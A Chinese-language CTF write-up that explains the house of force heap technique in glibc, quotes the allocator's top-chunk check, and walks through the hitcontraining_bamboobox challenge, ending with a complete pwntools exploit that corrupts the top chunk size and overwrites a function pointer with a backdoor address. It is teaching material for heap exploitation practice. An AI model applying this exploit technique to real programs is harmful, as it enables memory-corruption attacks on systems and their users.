本篇呢主要是讲讲我对house of force 的一个初步的理解,house of force呢算是堆利用手法中一个入门的手法,本人也是刚接触堆,所以还有很多地方不是很懂。

什么是 house of force呢,简单来说就是通过控制top_chunk的size位,将top_chunk更新到任意一个地址,从而能够通过申请堆块可以任意地址写。

那么这里就有问题了,为什么通过控制size位的大小就能申请堆块达到任意写了呢?

我们先来看看 glibc对于top chunk的验证:

victim = av->top;
size = chunksize (victim);

if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) #top_chunk的大小>=你申请堆块的大小+最小size
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;

主要意思就是只要通过这个if语句,那么就可以通过对top_chunk的认证,那么重点来了,我们怎么样可以申请任意大小size的堆块呢,很明显只要通过这个if语句就行了,也就是把**(unsigned long) (size)**做到无限大,那么什么样的数在unsigned long 才是无限大呢,可以告诉你的是 -1是最大的,-1大于所有负整数也大于有符号的正整数。

所以我们可以将top_chunk的size大小设置为0xffffffffffffffff这样我们就可以申请任意大小的堆块地址啦(当然仅限于在2.23和2.27的libc版本)。

找一个例题

hitcontraining_bamboobox

链接:https://pan.baidu.com/s/1slc_CFbR2ViFrwpRW8Ty4w
提取码:chen

查看保护

1689504121976

没有开启pie,rerlo也没有全开。

查看主函数1689504536074

可以看到该程序一开始申请了一个0x10的堆块;

将 hello_message 函数的地址赋给 v4 指向的第一个函数指针;

将 goodbye_message 函数的地址赋给 v4 指向的第二个函数指针;

然后**(*v4)()**表示调用了v4 指向的第一个函数指针,简单来说就是执行了第一个函数;

后面就是构造了一个菜单;

输入5的时候 **v4[1] () **表示调用了v4 指向的第二个函数指针,然后退出。

可以看到该函数还有一个后门

1689505691847

现在我们的初步的思路就是,让程序去执行这个后门函数从而获取到flag,那么很容易就能想到我们可以使用上面我说的v4这个堆块,改变他第二个函数的指针为后门函数的地址从而让程序去执行这个后门函数,那么怎么修改呢,我们当然只能通过修改v4这个堆块来实现。

可是v4这个堆块是系统自己申请的,我们无法利用菜单直接进行修改,但是我们可以通过house of force 来把v4这个堆块再次放入到top_chunk里面(为什么说再次呢,因为一般的堆块都是由top_chunk切割而来的)这样我们就可以控制v4这个堆块啦。

那么具体怎么操作呢?

首先我们先申请一个0x30的堆块(为了通过堆溢出来修改top_chunk的size做准备)

1689506951144

然后通过溢出修改top_chunk的size位为0xffffffffffffffff

1689507156442

1689507328332

接下来我们申请-0x70的堆块(依然满足修改后的if判断),这样top_chunk的指针刚好就可以到达v4堆块

1689507619495

最后就可以把v4再申请出来修改指针啦

完整exp:

from pwn import *
p=process("./bamboobox")
elf=ELF("./bamboobox")
gdb.attach(p)
context.log_level="debug"

def add(index,input):
p.sendlineafter( b'Your choice:',b'2')
p.sendafter(b'Please enter the length of item name:',str(index))
p.sendafter(b'Please enter the name of item:',input)

def delete(index):
p.sendlineafter( b'Your choice:',b'4')
p.sendafter(b'Please enter the index of item:',str(index))

def edit(ind,index,input):
p.sendlineafter( b'Your choice:',b'3')
p.sendafter(b'Please enter the index of item:',str(ind))
p.sendafter(b'Please enter the length of item name:',str(index))
p.sendafter(b'Please enter the new name of the item:',input)

def show(index):
p.sendlineafter( b'Your choice:',b'4')

add(0x30,b"aaaa")#0
edit(0,0x40,b"a"*0x30+p64(0)+p64(0xffffffffffffffff))
#pause()
add(-0x70,b"aaaa")
#pause()
add(0x10,p64(0)+p64(0x400D49))

p.interactive()

悄悄插一句,这个方法只能打通本地,因为这个后门是假的,打远端还得用unlink……